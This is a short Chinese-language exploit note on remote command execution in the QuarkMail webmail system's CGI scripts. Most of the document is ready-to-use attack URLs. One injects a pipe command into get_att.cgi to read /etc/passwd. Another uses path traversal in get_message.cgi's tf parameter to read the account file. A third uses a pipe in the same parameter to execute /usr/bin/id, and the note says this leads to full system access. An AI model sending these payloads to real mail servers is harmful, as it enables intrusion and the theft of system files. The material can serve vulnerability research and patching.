QuarkMail远程命令执行

快客电邮（QuakMail）是北京雄智伟业优先公司开发的邮件系统软件。相关版本的快客电邮产品采用了CGI脚本，在低版本中存在远程代码执行漏洞。攻击者利用漏洞可发起远程攻击，通过执行特定指令逐步渗透控制邮件服务器主机。

命令执行1

使用了快邮（QuarkMail）的用户可通过请求如下路径查看漏洞页面是否存在：

```
1 http://.../cgi-bin/web2cgi/get2.cgi
```

访问如下请求执行命令：

```
1 http://mail.xxx.com/cgi-bin/web2cgi/get_att.cgi?up_attach=|cat /et
  c/passwd
```

命令执行2

QuarkMail 错误地使用 perl 的 open 函数以打开文件，实现模板等功能，但是其对用户传入的参数没有做有效的过滤，从而导致命令执行。

登录进入系统之后访问如下 URL

```
1 http://x.x.x.x/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=
  10&max=2&lang=gb&tf=../../../../../../../etc/passwd&id=2&sort=0&re
  ad_flag=yes
```

即可得到系统账户文件，访问如下 URL

```
1 http://x.x.x.x/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=
  10&max=2&lang=gb&tf=../../../../../../../usr/bin/id|&id=2&sort=0&r
  ead_flag=yes
```

即可以将/usr/bin/id文件打开执行，并且将结果返回，用户就可以利用一序列操作获得系统的完整访问权。